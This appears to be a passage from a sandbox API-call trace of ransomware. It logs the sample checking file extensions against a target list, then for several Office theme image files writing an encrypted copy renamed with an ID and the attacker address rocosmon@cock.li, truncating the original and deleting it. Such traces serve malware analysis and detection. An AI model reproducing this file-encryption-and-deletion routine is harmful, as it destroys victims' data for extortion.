	[0105.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74
	[0105.789] lstrlenW (lpString=".doc") returned 4
	[0105.789] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.789] lstrlenW (lpString=".docx") returned 5
	[0105.789] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.789] lstrlenW (lpString=".pdf") returned 4
	[0105.789] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.789] lstrlenW (lpString=".xls") returned 4
	[0105.789] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.789] lstrlenW (lpString=".xlsx") returned 5
	[0105.789] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.789] lstrlenW (lpString=".ppt") returned 4
	[0105.789] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74
	[0105.789] lstrlenW (lpString=".zip") returned 4
	[0105.789] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.789] lstrlenW (lpString=".rar") returned 4
	[0105.790] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.790] lstrlenW (lpString=".bz2") returned 4
	[0105.790] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.790] lstrlenW (lpString=".7z") returned 3
	[0105.790] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74
	[0105.790] lstrlenW (lpString=".dbf") returned 4
	[0105.790] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74
	[0105.790] lstrlenW (lpString=".1cd") returned 4
	[0105.790] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74
	[0105.790] lstrlenW (lpString=".jpg") returned 4
	[0105.790] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74
	[0105.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74
	[0105.790] lstrlenW (lpString=".doc") returned 4
	[0105.790] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.790] lstrlenW (lpString=".docx") returned 5
	[0105.794] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.794] lstrlenW (lpString=".pdf") returned 4
	[0105.794] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.794] lstrlenW (lpString=".xls") returned 4
	[0105.794] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.794] lstrlenW (lpString=".xlsx") returned 5
	[0105.794] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.794] lstrlenW (lpString=".ppt") returned 4
	[0105.794] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74
	[0105.795] lstrlenW (lpString=".zip") returned 4
	[0105.795] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.795] lstrlenW (lpString=".rar") returned 4
	[0105.795] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.795] lstrlenW (lpString=".bz2") returned 4
	[0105.795] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.795] lstrlenW (lpString=".7z") returned 3
	[0105.795] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74
	[0105.795] lstrlenW (lpString=".dbf") returned 4
	[0105.795] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74
	[0105.795] lstrlenW (lpString=".1cd") returned 4
	[0105.795] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74
	[0105.795] lstrlenW (lpString=".jpg") returned 4
	[0105.795] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.795] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0105.795] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0105.795] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0105.795] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2574) returned 1
	[0105.796] CloseHandle (hObject=0x1d8) returned 1
	[0105.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 0x20
	[0105.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0105.796] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.796] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c
	[0105.799] GetLastError () returned 0x0
	[0105.799] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0xa0e, lpOverlapped=0x0) returned 1
	[0105.845] WriteFile (in: hFile=0x21c, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xa10, lpOverlapped=0x0) returned 1
	[0105.847] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.847] WriteFile (in: hFile=0x21c, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0105.847] SetEndOfFile (hFile=0x21c) returned 1
	[0105.847] CloseHandle (hObject=0x21c) returned 1
	[0105.847] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.847] SetEndOfFile (hFile=0x1d8) returned 1
	[0105.848] CloseHandle (hObject=0x1d8) returned 1
	[0105.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.848] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 1
	[0105.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75
	[0105.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75
	[0105.848] lstrlenW (lpString=".doc") returned 4
	[0105.849] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.849] lstrlenW (lpString=".docx") returned 5
	[0105.849] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.849] lstrlenW (lpString=".pdf") returned 4
	[0105.849] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.849] lstrlenW (lpString=".xls") returned 4
	[0105.849] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.849] lstrlenW (lpString=".xlsx") returned 5
	[0105.849] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.849] lstrlenW (lpString=".ppt") returned 4
	[0105.849] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75
	[0105.849] lstrlenW (lpString=".zip") returned 4
	[0105.849] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.849] lstrlenW (lpString=".rar") returned 4
	[0105.849] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.849] lstrlenW (lpString=".bz2") returned 4
	[0105.849] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.849] lstrlenW (lpString=".7z") returned 3
	[0105.849] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75
	[0105.849] lstrlenW (lpString=".dbf") returned 4
	[0105.849] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75
	[0105.849] lstrlenW (lpString=".1cd") returned 4
	[0105.849] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75
	[0105.849] lstrlenW (lpString=".jpg") returned 4
	[0105.849] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75
	[0105.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75
	[0105.849] lstrlenW (lpString=".doc") returned 4
	[0105.849] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.849] lstrlenW (lpString=".docx") returned 5
	[0105.849] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.849] lstrlenW (lpString=".pdf") returned 4
	[0105.849] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.849] lstrlenW (lpString=".xls") returned 4
	[0105.850] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.850] lstrlenW (lpString=".xlsx") returned 5
	[0105.850] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.850] lstrlenW (lpString=".ppt") returned 4
	[0105.850] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75
	[0105.850] lstrlenW (lpString=".zip") returned 4
	[0105.850] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.850] lstrlenW (lpString=".rar") returned 4
	[0105.850] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.850] lstrlenW (lpString=".bz2") returned 4
	[0105.850] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.850] lstrlenW (lpString=".7z") returned 3
	[0105.850] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75
	[0105.850] lstrlenW (lpString=".dbf") returned 4
	[0105.850] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75
	[0105.850] lstrlenW (lpString=".1cd") returned 4
	[0105.850] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75
	[0105.850] lstrlenW (lpString=".jpg") returned 4
	[0105.850] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.850] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0105.850] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0105.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0105.851] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1593) returned 1
	[0105.851] CloseHandle (hObject=0x1d8) returned 1
	[0105.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 0x20
	[0105.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0105.851] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.851] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0105.859] GetLastError () returned 0x0
	[0105.859] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x639, lpOverlapped=0x0) returned 1
	[0105.906] WriteFile (in: hFile=0x1fc, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x640, lpOverlapped=0x0) returned 1
	[0105.907] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.907] WriteFile (in: hFile=0x1fc, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0105.907] SetEndOfFile (hFile=0x1fc) returned 1
	[0105.907] CloseHandle (hObject=0x1fc) returned 1
	[0105.907] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.907] SetEndOfFile (hFile=0x1d8) returned 1
	[0105.908] CloseHandle (hObject=0x1d8) returned 1
	[0105.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.908] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 1
	[0105.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73
	[0105.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73
	[0105.909] lstrlenW (lpString=".doc") returned 4
	[0105.909] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.909] lstrlenW (lpString=".docx") returned 5
	[0105.909] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.909] lstrlenW (lpString=".pdf") returned 4
	[0105.909] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.909] lstrlenW (lpString=".xls") returned 4
	[0105.909] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.909] lstrlenW (lpString=".xlsx") returned 5
	[0105.909] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.909] lstrlenW (lpString=".ppt") returned 4
	[0105.909] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73
	[0105.909] lstrlenW (lpString=".zip") returned 4
	[0105.909] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.909] lstrlenW (lpString=".rar") returned 4
	[0105.909] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.909] lstrlenW (lpString=".bz2") returned 4
	[0105.909] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.909] lstrlenW (lpString=".7z") returned 3
	[0105.909] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73
	[0105.910] lstrlenW (lpString=".dbf") returned 4
	[0105.910] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73
	[0105.910] lstrlenW (lpString=".1cd") returned 4
	[0105.910] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73
	[0105.910] lstrlenW (lpString=".jpg") returned 4
	[0105.910] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73
	[0105.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73
	[0105.910] lstrlenW (lpString=".doc") returned 4
	[0105.910] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.910] lstrlenW (lpString=".docx") returned 5
	[0105.910] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.910] lstrlenW (lpString=".pdf") returned 4
	[0105.910] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.910] lstrlenW (lpString=".xls") returned 4
	[0105.910] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.910] lstrlenW (lpString=".xlsx") returned 5
	[0105.910] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.910] lstrlenW (lpString=".ppt") returned 4
	[0105.910] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73
	[0105.910] lstrlenW (lpString=".zip") returned 4
	[0105.910] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.910] lstrlenW (lpString=".rar") returned 4
	[0105.910] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.910] lstrlenW (lpString=".bz2") returned 4
	[0105.911] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.911] lstrlenW (lpString=".7z") returned 3
	[0105.911] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73
	[0105.911] lstrlenW (lpString=".dbf") returned 4
	[0105.911] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73
	[0105.911] lstrlenW (lpString=".1cd") returned 4
	[0105.911] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73
	[0105.911] lstrlenW (lpString=".jpg") returned 4
	[0105.911] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.911] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0105.911] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0105.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0105.912] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1666) returned 1
	[0105.912] CloseHandle (hObject=0x1d8) returned 1
	[0105.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 0x20
	[0105.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0105.912] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.912] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0105.914] GetLastError () returned 0x0
	[0105.914] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x682, lpOverlapped=0x0) returned 1
	[0105.965] WriteFile (in: hFile=0x1fc, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x690, lpOverlapped=0x0) returned 1
	[0105.966] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.966] WriteFile (in: hFile=0x1fc, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0105.966] SetEndOfFile (hFile=0x1fc) returned 1
	[0105.966] CloseHandle (hObject=0x1fc) returned 1
	[0105.966] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.966] SetEndOfFile (hFile=0x1d8) returned 1
